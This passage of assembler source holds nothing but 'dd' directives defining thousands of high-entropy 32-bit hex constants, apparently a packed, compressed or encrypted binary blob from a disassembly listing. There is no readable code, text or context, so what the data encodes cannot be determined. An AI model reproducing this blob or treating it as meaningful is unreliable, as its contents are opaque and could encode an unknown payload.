0C4E4AD87h, 0C659FD40h dd 19009024h, 7E47D08Bh, 0F4749A30h, 879D0068h, 0EFBEB106h dd 0C2000235h, 0B48C292Eh, 0F537BAh, 0B8A351D6h, 0FDF3A104h dd 1B17E100h, 30DD133h, 347B3D02h, 8E664580h, 0E42DF78Ah dd 0B7A8B1Dh, 0B48397C0h, 0C58653Eh, 0E70C3062h, 50005C20h dd 21E02F0Bh, 80FFBEh, 0E87B9CFDh, 0C91269BCh, 0A60FCEF4h dd 0A0A3EB8Dh, 0BED724EDh, 3CD900E3h, 49DC0653h, 51D2C31h dd 44804FF3h, 0E74AC7F9h, 1A630086h, 276F60D1h, 0EBE8A66Ch dd 20CD9C04h, 208150B6h, 7DDC485Eh, 8575BCh, 0B5F5F491h dd 0A08F3EF2h, 793A7E00h, 0FA9E0B3Ch, 6D591617h, 0C4AF0051h dd 0F034C171h, 6E0092E6h, 0A9621284h, 22B6554h, 0E591EF0Ah dd 409EB5h, 4D009F0Bh, 4A1750F9h, 65F2DDh, 0E80184B7h dd 9DC2366h, 0D62B8205h, 0C8002967h, 0D3ADC6CFh, 55FB000Bh dd 4951B27h, 0E70F6892h, 0B23BC115h, 0D17A400h, 2460CE72h dd 609C6Dh, 0C073C32Ch, 0E40019ACh, 933B844Fh, 9A4B5Dh dd 597220BFh, 0FD2DDFD2h, 7087EC00h, 0C23A5766h, 7CD770Bh dd 0ABC6DEE0h, 30004905h, 0A320ADDDh, 0FC5CD220h, 647C4C0Fh dd 91D71Ch, 597729Ah, 631294D1h, 2C608D70h, 7D8BBBh, 4490F7B6h dd 0B480F093h, 0AD9658h, 0A5C11CB3h, 2026FFh, 0DEA25CCFh dd 510CE7D5h, 42C46500h, 0C7474D96h, 336F00CCh, 0D90513BAh dd 9800A866h, 0BC36FA5Ch, 7BD22680h, 88B307A9h, 9E037938h dd 67F140FDh, 0DE7EB9F3h, 6036CD0Fh, 80342BC5h, 0D0491789h dd 8DF50774h, 208F832Ch, 58539573h, 0B50099F6h, 8B9276C0h dd 0FC6CDEBh, 3B72F843h, 0A80DEE41h, 0C899D8BDh, 80203F3Dh dd 0BC5992EFh, 0E1F61FDh, 0CC93E9CDh, 0F1608CAFh, 0F08A9E0Ah dd 64B55326h, 0EE3EE401h, 43CC7254h, 0A2BE03BDh, 0B28F94C8h dd 96DB8E90h, 587DFF00h, 5D6FAF2Ah, 0C1111DE6h, 811DC01Ah dd 0BE9AC3E5h, 0A00377Fh, 0A73F62C0h, 0E2EFFBh, 0FD6BB015h dd 913A5EC8h, 0BB57C21Dh, 27EB2C0h, 5F92D1h, 0FD696D3Ch dd 0EE08E4D4h, 0F8011F1Dh, 376BFA42h, 0C135E0E7h, 0BDC90085h dd 0D4C7CC7Ch, 0BB003165h, 42EDE345h, 15B1F6h, 304D512Ah dd 0A2A1B9E5h, 8538CA05h, 6C09BB4h, 0F35FB9Fh, 1AB71618h dd 0E74C20F8h, 7C5F6000h, 94DBB031h, 771300C0h, 0B5768D17h dd 28C01889h, 79C51F4Dh, 0F088395Bh, 45D70582h, 0D8E14F0Fh dd 5235CC87h, 0C4777AFEh, 5DF9B000h, 7CB69BE0h, 0FAB53ABAh dd 0B95EEF83h, 54D886CDh, 8300C74Dh, 14D5B0DFh, 306B5C70h dd 2B50515Ah, 80003517h, 0E29A4024h, 0FD6383h, 5B6E81C0h dd 0B3965B3h, 0A833EC00h, 0BAAED6F6h, 1C8751Ch, 0E14FBDF8h dd 0FF90A669h, 2CA02093h, 0C9003099h, 2ADC432Eh, 17F993h dd 466308D0h, 7B44A695h, 0A400C876h, 0A843C4Dh, 5CE3559Fh dd 3D052E61h, 43B15BE7h, 679C19D8h, 8655F2E8h, 0EA1B0D00h dd 0D247F503h, 9B323C06h, 0ED565980h, 0EF7B57E5h, 4D53C300h dd 19F66170h, 8CF31CF8h, 0D4559F2Eh, 0C600D2BEh, 0F40BE322h dd 7500EDC5h, 548656C2h, 0E78C987h, 0F1952E08h, 0E66B0FA0h dd 0EA007412h, 3EB5DA10h, 1F2CE198h, 80491839h, 885D1103h dd 0C03943C7h, 0F5D093D6h, 2216CB00h, 0ECAF9792h, 0DE930784h dd 301E4F82h, 0AE692E9Fh, 5E41070Fh, 0B8FA80F6h, 0FA16A48h dd 727725FBh, 440243A0h, 0DE0018B5h, 0B2BC3C7Fh, 1FC36E17h dd 40A25727h, 0FE3DEA25h, 99003FDFh, 736677EEh, 1EDE51E8h dd 801345E9h, 0FE118A1Dh, 7074B57h, 8942493Fh, 90011663h dd 2EEF31Ch, 2AF5656Dh, 0A8804E9Fh, 2DB36160h, 0B209E31Ch dd 0B5D5900h, 1C5F0ACFh, 0CCAC5Ah, 58635625h, 0F1006BC9h dd 0E6BD839Fh, 5F3C35h, 4A50BC32h, 0F0214F3Ah, 0B534DA00h dd 175B15EAh, 0D5AF077Dh, 20073B93h, 0A5CABB5Ch, 7716A2FEh dd 0D8004F9Ch, 0B21E8AB3h, 2DEECBh, 0FA5F8CF6h, 45D66261h dd 71D24200h, 0E154A79Bh, 9ACA00B8h, 5D10FBC0h, 0ED075EFDh dd 656657A0h, 8AE0F590h, 5A4D0052h, 0FF6E5DC8h, 69009918h dd 0C251593Dh, 39BAB06Fh, 0BB00E6C6h, 7914EFD3h, 28C037C5h dd 0E0922A7Bh dd 0E1413D30h, 0BF00405Ch, 0B6E855FEh, 0C0C07886h, 0ECC2984Ch dd 0D9640072h, 7FED2F80h, 5D0081A2h, 896FE1F3h, 1684B11Ah dd 5048EE2h, 0C0649206h, 0DF2EC6DAh, 5CCADB00h, 0C5686294h dd 0DEA800FEh, 0F981175Dh, 0AB01D77Dh, 0DE73E7Eh, 0C8405895h dd 12551664h, 0ABAC6B0h, 1CC9D5Dh, 0B59A2D6Bh, 0A5118078h dd 5926C901h, 321E0619h, 9E399C3Ah, 0D73F9600h, 5E933452h dd 0C58600DCh, 25D5EE4Ch, 0CEF276FDh, 0F5A32C00h, 4F1E401Ch dd 18504C27h, 0C01ABE00h, 0EC748935h, 1F15AF00h, 3DC2BC0Dh dd 0B46E00FDh, 7343FEBEh, 53FBD35h, 0A16C02CCh, 60E3F186h dd 16D9DD08h, 1FCEE242h, 1F7F4AABh, 41301E4h, 0CC0DB3D2h dd 0D800FA07h, 0D7022B3Fh, 0B69454h, 7D7F9B8Dh, 8B42BD23h dd 805FE03Ah, 0B01D5729h, 21C917h, 19C65215h, 8AA7A416h dd 12B9DD00h, 53406F07h, 723600D6h, 0BA657317h, 0D07C326Bh dd 26AC9018h, 0F1F5228h, 48AFD551h, 6FC1A420h, 0C476F287h dd 38210600h, 0EB523069h, 745700E7h, 2A8456Eh, 0F21C9420h dd 0D0C09F9Eh, 66ABD514h, 0AF5900EEh, 127AEF3Fh, 0A30FD2DFh dd 8A10F5C1h, 0CD00E8AAh, 48D30107h, 6EA20E2Ch, 6083D88Ch dd 2029AD33h, 0D00F8A7h, 5404EBA6h, 786400B5h, 0B7E0F42Ah dd 0EE00CC40h, 0BBB695CAh, 98A9459Ch, 9AF0408h, 809F6A72h dd 2B799B04h, 0B5BC3A0Eh, 2959E037h, 16F9539h, 27FDA9FEh dd 0DC2C6594h, 0E71D17C7h, 0F8C33D2Bh, 909BF5BCh, 608D1F9Ch dd 0AFDF3423h, 0B40038F2h, 0ABDCC23Fh, 56DD3FFh, 96BCFA86h dd 4BEE00A1h, 78E1DA68h, 8722AE13h, 0D6FA2603h, 5D90039Bh dd 0CD7C6093h, 0F251D4D0h, 75565A00h, 503EB154h, 189D269Ah dd 0C2F40470h, 0A808800Ch, 90751FE0h, 0C720CA00h, 0B74BC31h dd 9D7E0CEh, 45C9D482h, 70610000h, 0D030EF6Dh, 0C79D2130h dd 414B0738h, 221D0611h, 0DD3454h, 70E94CF6h, 8DDE0380h dd 0E7D61392h, 6B4EB8E8h, 43748498h, 0A704312Ch, 35CFE100h dd 36E18ECh, 0ABB2626Ch, 0F7F2A23Eh, 20C00C62h, 46F0DA98h dd 0C42D8907h, 97B0380Fh, 3F6336A9h, 4A006987h, 1CE346ABh dd 130040D6h, 0C83E600Ah, 2CCDD9Ah, 8BDCEF59h, 0F9609927h dd 29264662h, 861F1344h, 2F82F3C0h, 718F19F1h, 0C75E00A4h dd 1BEFFE4h, 1B0076D5h, 53270448h, 3FB8B7CBh, 7B9F0B18h dd 430940F8h, 0C398C5D5h, 0FD3E2E00h, 7467EAFEh, 0F85F2E8Fh dd 0EDBC00FCh, 0E4499D80h, 0D7FFEF00h, 0F5D5E189h, 7FEA0C7Bh dd 0D3E0AB6Eh, 0C0261D1Fh, 503DAF80h, 83570Bh, 955E42F2h dd 2E5D8636h, 0F94DAD04h, 8B80288Ah, 614AFFEEh, 764B50A6h dd 63B2EC42h, 18FD5539h, 996126B8h, 0BB7200D8h, 3C79D907h dd 0D500E987h, 96E4112Bh, 0F2DC9Bh, 0AB8B41F0h, 0FF9880EEh dd 80C42C3Ah, 3991EB7Ch, 0A643C9h, 11D55AB9h, 75EB28Fh dd 0BAB31B07h, 2A10940Ch, 7174114h, 54B144DCh, 97FC08Ah dd 7401393Eh, 48E5C96Dh, 10813861h, 547A9A05h, 8A5AD460h dd 7C507D7Bh, 2C001690h, 8CC3D0CCh, 0EABCDC0Ch, 11910099h dd 1645AA66h, 2601DFFFh, 7E1B4FB0h, 98806DFBh, 30B1B684h dd 0C4000142h, 0BD10932Fh, 3E1284Bh, 8E558B0Fh, 0BC98C913h dd 0AD0027E8h, 2397DBBEh, 760FEF7Ah, 1B8500B6h, 4792E64Ah dd 0A400F55Dh, 0B053EAA1h, 2EC6CA6Eh, 59A0C5h, 65BC35BBh dd 1D00A6DEh, 0F1204582h, 33340CCh, 0FE7FF8C8h, 1A83CF9Dh dd 0D5B290F7h, 0E00F2D4h, 745B5846h, 0E6E3CA2h, 61D6295Dh dd 5A49A407h, 0A65103E8h, 79C05CE8h, 0B20205F9h, 82D93865h dd 0B8DE4016h, 73D3009Fh, 92F36D13h, 0EC3E3EFBh, 0BBD4040Eh dd 0D1800C2Eh, 0E8D41AFh, 0A84B25A3h, 8091B180h, 260277Fh dd 9CE16F20h, 49483A24h, 0D4858A00h, 9A470F7h, 844A0800h dd 33C3A1AEh, 4C7A002Ch, 9FEE4E1Ah, 6F001789h, 14C20E52h dd 3107903h, 0D6BA4955h, 24C84070h, 40CFF102h, 0E700BD93h dd 0A66C29FFh, 341101CAh, 0B07A63BDh, 57AEE8A3h, 683E6A00h dd 78225B6Bh, 189017FFh, 17B0AC89h, 4D06AE70h, 10914Dh dd 0CD28867Eh, 0CB138F6Eh, 4AFBC200h, 4C5D1449h, 0DBA800F2h dd 0E19D409Ah, 641C427Eh, 34C01084h, 82265E2Eh, 77BE002Bh dd 0A8D654B9h, 0F807A744h, 0A1437694h, 5E2C1100h, 20D8004Ch dd 0E3D09286h, 6A60E568h, 1584A80Eh, 97FAA4h, 0D545D3CFh dd 7EFA61AEh, 4EE4D4E1h, 5BD46A00h, 25B3342Bh, 0D5A1019Bh dd 4223B656h, 0F3A7C713h, 83F024BFh, 300081BBh, 8CA28E48h dd 0B04AEBh, 31E4F49Dh, 4EE5021Ah, 0D8C32301h, 2C46EF57h dd 0C210D0h, 0C69C9197h, 0C0390414h, 0F0F67103h, 88010384h dd 85BCD9h, 9194E80Eh, 563193D7h, 806CBB39h, 9D73B517h dd 38E29C45h, 0A887B0C9h, 20F0AC2Dh, 0B78B9267h, 0BB43D900h dd 0B1FE72E3h, 91950021h, 87821BCBh, 0DF60C764h, 6D2C4C70h dd 0DD0C0116h, 88CEAD48h, 0FDB52031h, 84B60200h, 0D62C10CAh dd 0AA8000BFh, 0FC73BB0Eh, 0A7011FF8h, 7EF5050Bh, 8DD05832h dd 108E3C4Bh, 15C4A40Ch, 70F0A60h, 0C060DBE6h, 0F2ED67D1h dd 44FD0EE7h, 0EC60FFFAh, 0EBF9373Dh, 65FC1A4Fh, 8170A230h dd 0EF712408h, 0AF784301h, 748D4A5Dh, 0A61D9C55h, 0B1D35780h dd 78A0D9h, 0CAEC9395h, 209E2453h, 17113B01h, 5B5740E0h dd 2C25B8F4h, 3B4FB45Fh, 804D671Ch, 8F532DE9h, 8D00146Fh dd 47F857A6h, 0FCC3B7h, 0CE5977F2h, 1C3BF7B3h, 9B0971EEh dd 0A605AFh, 41F5DF0Ah, 6AC03FAEh, 0E2D36600h, 0ED215061h dd 11297D00h, 49D6275Dh, 0B200019h, 0B3DABED4h, 0F90177B8h dd 0DD07F098h, 9660A3A1h, 0C4FD003Ch, 0A5D9E35Bh, 1F7E2712h dd 14BB651Dh, 0C1FE7647h, 0A78A4FB1h, 293A30h, 213FDEE0h dd 54B5E362h, 0C4741901h, 0D2DD44E7h, 0B0CBF0h, 0C5D1CAEAh dd 0FE08F959h, 5803B998h, 0BD6142C4h, 0B8818C5Ah, 6FE44826h dd 3209001Eh, 0F06A070Ch, 9800703Bh, 4DC4A65Bh, 35719ADh dd 0EA4F8EE5h, 0D9901FF1h, 0ED006537h, 88038C92h, 40BE75h dd 0AD51A71Ah, 6EC577D4h, 1E3FD100h, 75C7B244h, 0A40128E9h dd 4D3C44F0h, 734ABE0Fh, 0DA7FC7B7h, 87EB8272h, 3974F3B9h dd 0B337AC80h, 122A0079h, 0C3418FBBh, 0E5B05E78h, 6C3615Ch dd 0F965BED8h, 711800B8h, 2D54EA91h, 281E77B6h, 3000D193h dd 412FFFFBh, 46091E0Dh, 0CABB00CEh, 0A065FD0Eh, 0AE8DE0Ch dd 7E7475h, 0E4240F83h, 99926EFCh, 0B4AB4600h, 208ED30Ch dd 9477137Eh, 6A340002h, 0A9A2D898h, 28BD1D00h, 8B4EF0D5h dd 5E6200DEh, 97F2B4D9h, 5400E716h, 866C9380h, 922A85h dd 0FC4CD6A1h, 2E17CC94h, 0BD162402h, 3200AC9h, 18C54BFh dd 0DFAF583Ch, 0F84F4h, 6DBA5FF1h, 8C54C07Dh, 49F07348h dd 0D5CB1D14h, 3C100780h, 13E2239Bh, 73429D0Ah, 0B5B8A240h dd 0F7242B56h, 9100EEA9h, 6036CA3Ah, 0B2EE00B4h, 71B36A6Ch dd 0BC00E48Bh, 5D95E3C5h, 1E3ECA10h, 0C1215A70h, 501F35AEh dd 7BC0E6BFh, 17009A72h, 0D78BBE65h, 9883F8ECh, 958801B4h dd 0DEA1C83Dh, 7CBAFCD6h, 0ECFA1A0Eh, 0A92E006h, 0C250A7h dd 78B8E1C8h, 0AFE71061h, 0DB8C0200h, 2DEBED7Ah, 879E3995h dd 7B9BEA7Ch, 3CB000C9h, 0A03D21D3h, 0EB0156BCh, 0B648F0F4h dd 1DD87C38h, 1CAE8E1h, 52331063h, 0C0DE43BFh, 0F826B4D0h dd 328034FBh, 0B04890A3h dd 0AAFD09DBh, 2700730Bh, 8A88E750h, 79192200h, 0C30DD894h dd 0BFE63Bh, 0F3E4FA97h, 4AB2D45Eh, 20ECD00h, 603ED0FCh dd 633C167Ch, 0D644402Ch, 7022E480h, 0DE44C71Dh, 4047670Eh dd 0E9E79E6Ah, 7589C0F4h, 97A96496h, 0AA9F5E18h, 0EE8CBB08h dd 0B71007A3h, 802A5F47h, 3C20BC63h, 9B6448h, 0FB71D94Bh dd 251D28h, 19A00482h, 9EC5B299h, 0B71FF702h, 0C063AE0Ch dd 6E8B2h, 91E47B7Fh, 3104D50Eh, 477AD604h, 0C7C77376h dd 10408079h, 7D1367h, 0FC08AD15h, 235514E1h, 2124A737h dd 3E2D90CCh, 0DD1895A8h, 32DF1922h, 0F77C7CA0h, 71A7503h dd 7984D7h, 35708A41h, 44EFD9FEh, 4AC38B00h, 0FCFBEE22h dd 0CFE40099h, 65638FC5h, 5100C1C8h, 73641E66h, 0F78E0Ch dd 1116A2E8h, 0A8CA9B28h, 0BE0F22F4h, 80D08D60h, 0CF1D1574h dd 284A1DD7h, 0D2F20002h, 0EEE33633h, 10C46D00h, 0A7D45C9Bh dd 0E456073Fh, 4F6B835Dh, 0B45821C0h, 1B1DB5D8h, 0D070AC8Fh dd 67C1ECh, 0B9FF8D54h, 3834893Dh, 96BE4503h, 0A08B10CBh dd 3C152F3Eh, 0F460C3BDh, 46DB3C5Eh, 0F4F36105h, 6C806BA9h dd 1FD0E16Ah, 28A5D630h, 460D090h, 2C4F8BAh, 82726A0h dd 34436F0Eh, 2A7E9FA0h, 9C9BEF00h, 0BB05FA1Eh, 0C7758Eh dd 0E864159Eh, 0F11B2CF8h, 58297764h, 11CA1521h, 9710E798h dd 0D48028C2h, 27BC88EBh, 0DD4CFC40h, 0E382C050h, 0EF562302h dd 61E6D000h, 8DAB9B59h, 107F064Fh, 28D93A07h, 29C4E090h dd 9D44E42Ch, 3B5B4490h, 32366B42h, 27E5E802h, 0D0B9B8F8h dd 38209628h, 0E7642233h, 2267FC22h, 0F9223903h, 29806032h dd 0C57F15C2h, 0C931BF00h, 50A31094h, 669900DAh, 0D06CF4CDh dd 4E0EBBADh, 200E7137h, 3DFDEAC2h, 8B3E00C1h, 52206518h dd 8E0095E4h, 0B57FD787h, 0F4A72Eh, 263593EEh, 0FAAEB3D3h dd 5C1C8100h, 30A2C855h, 52430780h, 301F0711h, 7F766CF7h dd 96FBE407h, 0D906F2Ch, 0B62219h, 8590CD8Dh, 0B7033381h dd 0EA420600h, 0A7358401h, 0AAA6009Fh, 5B6E691Ah, 4700BA1Dh dd 0CB2BB5A2h, 5C55C8ECh, 270021EDh, 0CA75053Dh, 0E500DAC7h dd 5432A0ACh, 6A57D7h, 0DF229710h, 2F3C5D80h, 249A1B0Fh dd 3A48C0FFh, 99F5Bh, 6C0BAF43h, 3E31BA9Eh, 4030541Eh dd 0D1915F03h, 4328004Ah, 0AE768A2Bh, 6700F482h, 74B955CBh dd 45EA08h, 3D5B8BADh, 0EB12EF9h, 0DA7E6918h, 0EC67C488h dd 684D3A43h, 0AF000ABAh, 2D9355BCh, 5C3A3B2Ah, 0E5350061h dd 0AC2E91EDh, 802B1C0Dh, 0B6FCC0A6h, 125B9BDAh, 801EC53Bh dd 43D0569h, 0F2E7937Dh, 0CD990397h, 6E918A34h, 1E51483Ah dd 9B8090C5h, 0BDDE38EEh, 0AAA81679h, 9EF40062h, 0D92F350Bh dd 44962603h, 0A89FEB40h, 19E531h, 0E1F9493h, 0E62FE2E1h dd 0DE01CAE8h, 0A0A744AFh, 63E860DCh, 6F8E1ECDh, 93340BDh dd 0CE49B301h, 9B45BB2Ch, 0F23AC820h, 2F9900C2h, 3EB27109h dd 371B0B8Dh, 3A8E4F31h, 9B16DF01h, 7C9F40AFh, 2C00D430h dd 528C073Dh, 0B86E8h, 1DFB352Fh, 7E87495Ch, 0D60EC100h dd 0F325FC7Dh, 35F639CEh, 0ECD84A00h, 0A203A639h, 5FA0B000h dd 0F5C9DE0h, 26F2AFh, 0FC5B32BFh, 0F752E5B5h, 3BC24139h dd 0BB8A9D77h, 0C01ACA00h, 74F18EBh, 0ADC4A676h, 5550A341h dd 0BF9FF0DFh, 0D905A557h, 0DB15C9F8h, 7924EC00h, 240A9084h dd 608909h, 937B64DEh, 340F2FFBh, 4748B6A7h, 3E80D037h dd 28697806h, 0A090F0F7h, 0B42690h, 9F421ADFh, 7DDEC1DAh dd 0AC9CE201h, 0F453F77Fh, 9700E0BAh, 0C4A7909Ah, 0AF7F024Fh dd 8575DB03h, 93662CE5h, 2DEED981h, 1A5CBC0h, 2F3BF1F8h dd 0D5DA57F0h, 0BA6330FFh, 0F7CFFD03h, 0AB69A743h, 4485E8D1h dd 48A50013h, 1F163CC1h, 8803115Fh, 3402CFA0h, 47EB835h dd 0AF9C0710h, 0C53F4B54h, 3BD400D6h, 0C7C3750h, 8A00D8EEh dd 0AD782DFCh, 0CBE369h, 6B915C72h, 18BAEB1Fh, 0E6FB6400h dd 0FE6E5744h, 2475DDh, 3FEC174Eh, 15BC31C4h, 514F20h dd 8302E110h, 13761DB4h, 525F3Ah, 35B12434h, 0CB1A7Bh dd 5C16E73Ah, 72914D0Dh, 8D0F1700h, 8AC93437h, 38C0222h dd 54811ED5h, 61234460h, 0E05F900h, 8DE44FCDh, 0E8AC004Bh dd 0FCBBCC5Ah, 0C0EB9B3h, 0C0F892D0h, 60444E1Eh, 0FCD95004h dd 792A00DBh, 5DC76AC4h, 360BFBABh, 813E7C2Fh, 0C2E643E6h dd 48E880D9h, 0A6982EA7h, 146203C0h, 1DD8444Fh, 9600D5DDh dd 807787DBh, 7AF2DCh, 67487F1Bh, 0D812E115h, 6574B72Ch dd 13C04A1Fh, 0B455AAA1h, 3F32001Ch, 0EF4B2AD1h, 601406B2h dd 75E0A908h, 4FCE0F00h, 62CAE6F6h, 590700B8h, 81957479h dd 6F00BE96h, 0BF8C43Ah, 57F155h, 67380263h, 0C2EB715Ch dd 98003076h, 0CAD0B76Bh, 0FC18F14h, 0A4F57748h, 542A5A80h dd 4001D65h, 222B7557h, 209292Ch, 0FC7F353Dh, 0C0AECFh dd 0FE0E582Dh, 631C601Eh, 1C6B0A9h, 0A442D2C8h, 0DC0A2B56h dd 0FA05BE18h, 0A870CA32h, 8178E00h, 104855h, 0EC30092Eh dd 0F08040BFh, 5E9EE100h, 48A321B0h, 6200050h, 0E7D844D1h dd 0DB2C1E1Ah, 96001810h, 0D55CD363h, 6115002Dh, 0E4B3A918h dd 8E032594h, 10F7589Fh, 0DCAAB0FCh, 5BEF0062h, 71ECA345h dd 0D800AEFDh, 9E01B094h, 2EA516h, 0F91F1711h, 0ADB4291Eh dd 1951E500h, 0ECA1223Bh, 1107009Fh, 0B893F9BCh, 0FB7B8EF1h dd 12403A30h, 76CA5BEh, 0BC622118h, 0A23660E7h, 0B70013EAh dd 958CC50Bh, 730784h, 3B9A5420h, 0A9D4666Ch, 0AF4CB1E6h dd 0B3317B4Fh, 5E8F8ADCh, 1ACB864h, 277B810Eh, 0EF6BD7A3h dd 0D5DD0C0h, 11D69C0Fh, 20C36EA8h, 0D8E52468h, 85BA5C41h dd 4549076h, 0C937060Bh, 8CF4C33Fh, 1A9B5C0h, 0FAD58F00h dd 0ABAF2B6Ah, 0D22C00C5h, 0C2A8F455h, 78003679h, 1EDC130Ah dd 38391AAFh, 310967E8h, 0E48077F3h, 1279E4FDh, 2EB24D00h dd 0A45F0930h, 404A026Eh, 4ED4420Dh, 78D5F040h, 0E35BDB00h dd 524FF589h, 9F5D0147h, 27EDA6B3h, 0BBA87B5h, 6B30486Fh dd 0BBA96AFh, 0D5F89021h, 0D1AD0481h, 2D37C470h, 13FC287Ah dd 14658h, 0EDCA04F5h, 9069054Bh, 7B9E0133h, 7F111624h dd 45088F3Bh, 96CBCF5Bh, 7141F300h, 0F0B9F7h, 464C1EACh dd 2C7692BDh, 19024D07h, 0FC0066F2h, 1EC0CF4h, 787032A4h dd 0E00D16A1h, 2300180Eh, 0F143B876h, 75DD7D55h, 1BC700DAh dd 89F54950h, 0E007238Fh, 91BCAD98h, 0D832AF70h, 0A93008Eh dd 66B5C3A9h, 0AB49DFE2h, 354C54h, 280BA738h, 72F48F04h dd 5A6F002Ch, 0EBBF2F21h, 574CB4Fh, 39C9092Eh, 4455C000h dd 0FCE62E6h, 0D3D5020Dh, 0F3C4FC0h, 7007A81h, 0F7FFFEBDh dd 318CB1h, 0E459AEF8h, 32E3EC8Eh, 9C9B073Eh, 0B2806081h dd 84EFE9Ch, 0E2C207B4h, 102FCD61h, 6C8BD618h, 9577D004h dd 0C4D01B75h, 0CE28DD3h, 0E18FCBBFh, 2D00CA8Ah, 64AAFD3Eh dd 0A6BD8h, 710472ADh, 0BAC8BB4h, 0BE801200h, 0C6D154Eh dd 9846E208h, 0C07D66h, 92C63D3h, 0E3A257D4h, 96E61000h dd 2D405628h, 179F1C3Dh, 72DE006Ah, 625086B9h, 3C017400h dd 0B07026C7h, 3D080045h, 8DCEA70Bh, 0FDF4D34Fh, 2B2E3100h dd 0B428C6FAh, 0E4950782h, 0C7990736h, 145BF043h, 8300069Fh dd 9DFB2DC1h, 1ECAD3BEh, 1F55060h, 2EAEA556h, 90D8575Eh dd 7858B37Bh, 0CBE69000h dd 0B0BCD493h, 0DD0100BDh, 83A2B4F2h, 69013699h, 0C96DE2FDh dd 0E7F42CF5h, 0E92E00CBh, 39073E5Dh, 0EF009D7Fh, 49F36CD3h dd 7CE7184h, 7A960805h, 66547021h, 0ED00BB12h, 42C0D251h dd 3B13DAC2h, 5500DDC5h, 648BEA6Bh, 5426BE98h, 3A00F42Eh dd 8D638835h, 0C6201669h, 3B5B0043h, 19F0F93Fh, 0B3165C00h dd 9718EAB8h, 7CCF0B66h, 87F66F38h, 86109300h, 478721h dd 951E914Ah, 4556A768h, 0C9428B00h, 0F85D8517h, 63730C26h dd 0CB092DF7h, 0F49B9103h, 0F92901ADh, 2880679Ah, 93480266h dd 0D80082C6h, 0B28D0E87h, 3F9217h, 8C3CEB06h, 5B39D540h dd 0E6F07205h, 0F8002052h, 0AFE036F9h, 0EDD83FC6h, 4A3E413Dh dd 87033280h, 0A09F955h, 60727F2h, 8823F4B0h, 0B89AE3B1h dd 1CD1EEC8h, 4E9FEADCh, 23A05AB9h, 298DA2E9h, 0D00B184Ah dd 0C45410B7h, 5F09C05Dh, 8178FDFBh, 7ED48B07h, 849055B6h dd 735495A2h, 0F927885h, 52460FDEh, 737D3EC0h, 0D748676Bh dd 0CD29002Dh, 0B8752510h, 2790340h, 18707BABh, 0A0DCC09Dh dd 1C73F4DEh, 357D1D03h, 0E0BE9BF7h, 0F5DDC93h, 58A96903h dd 0C0CFBD80h, 96008018h, 0FDC41708h, 1C4AFAA4h, 80389EBCh dd 54D272BAh, 29000FEBh, 0F38BD836h, 0E13D078h, 0D11E6B71h dd 0F0F6AFC0h, 8900CDBFh, 79E34F72h, 0D7E863h, 1F4055EBh dd 378AC278h, 23BD4803h, 0CDECED50h, 63FFDF00h, 706D3E4Ch dd 81B400CEh, 772D25FCh, 0A9581564h, 0F1650EF8h, 0E6A2C0A3h dd 7BA793h, 0BE549C31h, 0D84792D9h, 29262C03h, 8815A586h dd 646185h, 0B3329FFDh, 4CA3F53Eh, 0AAB0A6C0h, 0F22EC9B4h dd 0C160BEDh, 7B00FA07h, 4719239Ch, 527DA0A0h, 0DC283E0Ch dd 7DB2101h, 0F7BE5E76h, 0D8A39347h, 0FEF021E0h, 89AF1507h dd 38E1A718h, 1EFC4DFBh, 6AD800D3h, 0FF42CD7Bh, 0BB00CF97h dd 0E5C809BCh, 43093F0h, 5A1E446Fh, 1C448078h, 4C249EBDh dd 0C21468E0h, 550E17C3h, 0B5C7301Dh, 2EC07029h, 8B43C7h dd 7122289Ah, 178E2F37h, 10351105h, 50800E64h, 1D9352B4h dd 0A8F86E56h, 57B000A0h, 58218D14h, 0D7FE3CA3h, 9796A61Dh dd 0F0B80300h, 0B652694h, 35BFC8D1h, 4E433080h, 48029C38h dd 575B213Dh, 1FB858BDh, 0BE8CC81Eh, 0D773E380h, 58C6703Fh dd 94FAD800h, 80BF06ADh, 62FD0120h, 0D60DE3EBh, 0D60AE93Eh dd 1DFCB581h, 21307031h, 983DBA00h, 4BACE32Ch, 0BF940090h dd 3B781667h, 0D1009D91h, 3425875Dh, 0B8A17Ah, 500EAF79h dd 0D3E3CBADh, 0B2E1E700h, 0A75E2124h, 0BE43002Ah, 1D16BF91h dd 8100B906h, 0F32272B3h, 0C042E5h, 13E96F33h, 2C4BC92Ah dd 0D7B38E01h, 0FFAA544h, 66F0F881h, 40A96FBBh, 5C8EDFFCh dd 0A3576B03h, 0E1D9FB3Eh, 0CD3040C6h, 1A202ABh, 2754CBF6h dd 0D19448C0h, 2ECD3D00h, 22E47E1Dh, 6E000F5h, 6A4590FBh dd 9C0FC958h, 20CD91F9h, 0D19DD7Fh, 3766002Bh, 0ACBD5A04h dd 0FC00A502h, 0BF700614h, 1220B055h, 0B12487h, 2C3A5377h dd 0B903FE3Eh, 0B6A4AB54h, 0B220BF19h, 0F289451Ch, 0A2DF0041h dd 4E5CDF7h, 5B00B6E1h, 18D2BA60h, 0C2064h, 0D6F9DD41h dd 14896AD4h, 3C97721Ch, 843B55Dh, 0C8C205BCh, 38E5501Fh dd 231E7188h, 0AD127Eh, 9E829BF4h, 4F0128AFh, 0C3E41C0Dh dd 0E3E6F1FFh, 2386A862h, 989B015Ch, 3E947161h, 0A163D466h dd 0E8E31D00h, 0F5BA64DDh, 478A0409h, 9084229Bh, 0C805A1F4h dd 54001FECh, 6E230A9Ah, 38911FBh, 33C4455Ah, 0D1C8CCEFh dd 640E02E9h, 0BFE06710h, 8948003Ah, 0BD4E65FEh, 443100A2h dd 9FDC0F21h, 0F32666E9h, 0D99FF823h, 0A6CE7B40h, 7AD49EC4h dd 60E8A261h, 0B4AF81h, 3F23344Ch, 8CA101FFh, 9DB99601h dd 45760333h, 3928C0h, 0DFA7359Fh, 54A00491h, 0CA805000h dd 0C90C3B30h, 3ED50495h, 80469406h, 0A50F2728h, 0ECD11100h dd 0B60DC573h, 1E89239h, 51D69BE5h, 0ECDAC41Dh, 351E8CC6h dd 4E80E43Ah, 9B54642Bh, 8446012Ch, 0D3DBE6ECh, 0F020D90Dh dd 0CB00A9DDh, 4A2EFB60h, 0BCB346h, 9B3B9A50h, 3197C994h dd 0EE7CF58h, 8259B9E8h, 40722FA3h, 0DE5C50h, 0C7F5F6F1h dd 0A557C3E2h, 0CCC04400h, 3C35210Ch, 0AB662734h, 0A3012089h dd 0FC151ABDh, 0BA48309Dh, 210D00E0h, 0AAF075B9h, 867900DCh dd 9AB2E08Dh, 0EA278EFCh, 65680039h, 16B4293Bh, 146948A6h dd 3838B7F4h, 0DE74E480h, 9C8F01Fh, 7C0F9500h, 6E141CEBh dd 6229078Ah, 19345B8Bh, 